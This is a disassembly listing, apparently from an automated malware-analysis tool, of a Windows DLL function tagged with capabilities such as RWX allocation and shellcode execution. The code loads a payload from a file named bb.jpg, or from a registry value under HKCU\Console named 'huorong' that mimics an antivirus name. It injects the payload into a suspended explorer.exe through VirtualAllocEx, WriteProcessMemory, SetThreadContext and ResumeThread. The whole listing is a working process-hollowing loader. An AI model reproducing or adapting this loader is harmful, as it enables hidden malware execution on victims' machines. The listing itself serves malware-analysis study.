Function at 0x180001aa0
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Query or enumerate registry value
Resume thread
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x628]
sub rsp, 0x728
mov qword [rbp - 0x40], 0xfffffffffffffffe
xor ebx, ebx
mov qword [rbp + 0x688], rbx
mov dword [rbp + 0x670], ebx
mov qword [rbp - 0x80], 7
mov qword [rsp + 0x78], rbx
mov word [rsp + 0x68], bx
lea r8d, [rbx + 0x19]
lea rdx, str.C:UsersPublicDownloads
lea rcx, [rsp + 0x68]
call fcn.1800041c0
nop
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae rcx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x78]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x180001b2d
lea r8d, [rbx + 1]
lea rdx, [0x1800262c8]
lea rcx, [rsp + 0x68]
call fcn.180005a80
mov r8d, 6
lea rdx, str.bb.jpg
lea rcx, [rsp + 0x68]
call fcn.180005a80
lea r8, [rbp + 0x670]
lea rdx, [rbp + 0x688]
lea rcx, [rsp + 0x68]
call fcn.180001880
test al, al
je 0x180001be4
lea rdx, str.Successfully_read_content_from_bb.jpg.
lea rcx, [0x18002c170]
call fcn.180007920
mov rsi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov edi, ebx
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
mov r13d, 4
test byte [rcx + rsi + 0x10], 6
jne 0x180001bac
mov rcx, qword [rcx + rsi + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
cmp eax, 0xffffffff
cmove edi, r13d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x180001bd1
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x180001bc9
or edx, r13d
xor r8d, r8d
call fcn.180001550
mov r12, qword [rbp + 0x688]
mov r14d, dword [rbp + 0x670]
jmp 0x180001f90
mov dword [rbp + 0x680], 0x736e6f43
mov dword [rbp + 0x684], 0x656c6f
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0x680]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180001c93
lea rdx, str.Failed_to_open_registry_key.
lea rcx, [0x18002c460]
call fcn.180007920
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180001c68
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov r13d, 4
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180001c8e
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180001c85
or edx, 4
xor r8d, r8d
call fcn.180001550
nop
jmp 0x180002589
mov r15d, ebx
mov dword [rbp + 0x678], 0x104
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x678]
lea r8, [rbp + 0x40]
xor edx, edx
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov r13d, 4
mov r12, qword [rbp + 0x688]
mov r14d, dword [rbp + 0x670]
test eax, eax
jne 0x180001f86
lea rdx, str.huorong
lea rcx, [rbp + 0x40]
call fcn.18000c784
test rax, rax
je 0x180001ed5
mov qword [rbp - 0x50], 0xf
mov qword [rbp - 0x58], rbx
mov byte [rbp - 0x68], 0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.1800055c0
nop
mov rdi, qword [rbp - 0x70]
mov dword [rbp + 0x670], ebx
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
lea rax, [rbp + 0x670]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x180001de8
lea rdx, str.Failed_to_query_size_of_registry_value:
lea rcx, [0x18002c460]
call fcn.180007920
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.180007db0
mov rsi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov edi, ebx
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x180001dbb
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r13d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x180001de0
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x180001dd8
or edx, 4
xor r8d, r8d
call fcn.180001550
xor dil, dil
jmp 0x180001ec0
mov r14d, dword [rbp + 0x670]
mov ecx, r14d
call fcn.18000b430
mov r12, rax
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
lea rax, [rbp + 0x670]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x180001ebd
mov rcx, r12
call fcn.18000ce14
mov r12, rbx
mov r14d, ebx
lea rdx, str.Failed_to_retrieve_data_from_registry_value:
lea rcx, [0x18002c460]
call fcn.180007920
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.180007db0
mov rsi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov edi, ebx
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x180001e8c
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r13d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x180001de0
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], r12
jne 0x180001dd8
or edx, 4
xor r8d, r8d
call fcn.180001550
xor dil, dil
jmp 0x180001ec0
mov dil, 1
cmp qword [rbp - 0x50], 0x10
jb 0x180001ed0
mov rcx, qword [rbp - 0x68]
call fcn.18000ce1c
test dil, dil
jne 0x180001f13
inc r15d
mov dword [rbp + 0x678], 0x104
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x678]
lea r8, [rbp + 0x40]
mov edx, r15d
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
jmp 0x180001cdf
lea rdx, str.Successfully_read_content_of_registry_value:
lea rcx, [0x18002c170]
call fcn.180007920
mov rcx, rax
lea rdx, [rbp + 0x40]
call fcn.180007920
mov rsi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov edi, ebx
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x180001f61
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r13d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x180001f86
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x180001f7e
or edx, 4
xor r8d, r8d
call fcn.180001550
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x180002523
test r14d, r14d
je 0x180002523
mov dword [rbp - 0x30], ebx
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp - 0x28]
call fcn.18000e5c0
mov qword [rsp + 0x50], rbx
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Windowsexplorer.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x18000208d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.CreateProcessW_failed_with_error:
lea rcx, [0x18002c460]
call fcn.180007920
mov rcx, rax
mov edx, edi
call fcn.180002640
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x18000205a
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x18000207f
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180002077
or edx, 4
xor r8d, r8d
call fcn.180001550
mov rcx, r12
call fcn.18000ce14
nop
jmp 0x180002589
mov edi, r14d
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, r14d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x180002165
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.VirtualAllocEx_failed_with_error:
lea rcx, [0x18002c460]
call fcn.180007920
mov rcx, rax
mov edx, edi
call fcn.180002640
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x18000210c
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180002131
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180002129
or edx, 4
xor r8d, r8d
call fcn.180001550
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.18000ce14
nop
jmp 0x180002589
mov qword [rsp + 0x20], rbx
mov r9, rdi
mov r8, r12
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180002248
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.WriteProcessMemory_failed_with_error:
lea rcx, [0x18002c460]
call fcn.180007920
mov rcx, rax
mov edx, edi
call fcn.180002640
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x1800021d8
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1800021fd
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1800021f5
or edx, 4
xor r8d, r8d
call fcn.180001550
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.18000ce14
nop
jmp 0x180002589
mov qword [rbp + 0x150], rbx
xor edx, edx
mov r8d, 0x4c8
lea rcx, [rbp + 0x158]
call fcn.18000e5c0
mov dword [rbp + 0x180], 0x10000b
lea rdx, [rbp + 0x150]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x180002349
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.GetThreadContext_failed_with_error:
lea rcx, [0x18002c460]
call fcn.180007920
mov rcx, rax
mov edx, edi
call fcn.180002640
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x1800022d9
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1800022fe
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1800022f6
or edx, 4
xor r8d, r8d
call fcn.180001550
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.18000ce14
nop
jmp 0x180002589
mov qword [rbp + 0x248], rsi
lea rdx, [rbp + 0x150]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x18000242c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.SetThreadContext_failed_with_error:
lea rcx, [0x18002c460]
call fcn.180007920
mov rcx, rax
mov edx, edi
call fcn.180002640
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x1800023bc
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1800023e1
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1800023d9
or edx, 4
xor r8d, r8d
call fcn.180001550
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.18000ce14
nop
jmp 0x180002589
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x180002502
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.ResumeThread_failed_with_error:
lea rcx, [0x18002c460]
call fcn.180007920
mov rcx, rax
mov edx, edi
call fcn.180002640
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180002492
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1800024b7
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1800024af
or edx, 4
xor r8d, r8d
call fcn.180001550
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.18000ce14
nop
jmp 0x180002589
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.18000ce14
nop
jmp 0x180002589
lea rdx, str.Pdata_is_NULL_or_empty._Unable_to_proceed.
lea rcx, [0x18002c460]
call fcn.180007920
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180002820
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180002563
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180002589
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180002580
or edx, 4
xor r8d, r8d
call fcn.180001550
nop
cmp qword [rbp - 0x80], 8
jb 0x18000259a
mov rcx, qword [rsp + 0x68]
call fcn.18000ce1c
add rsp, 0x728
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret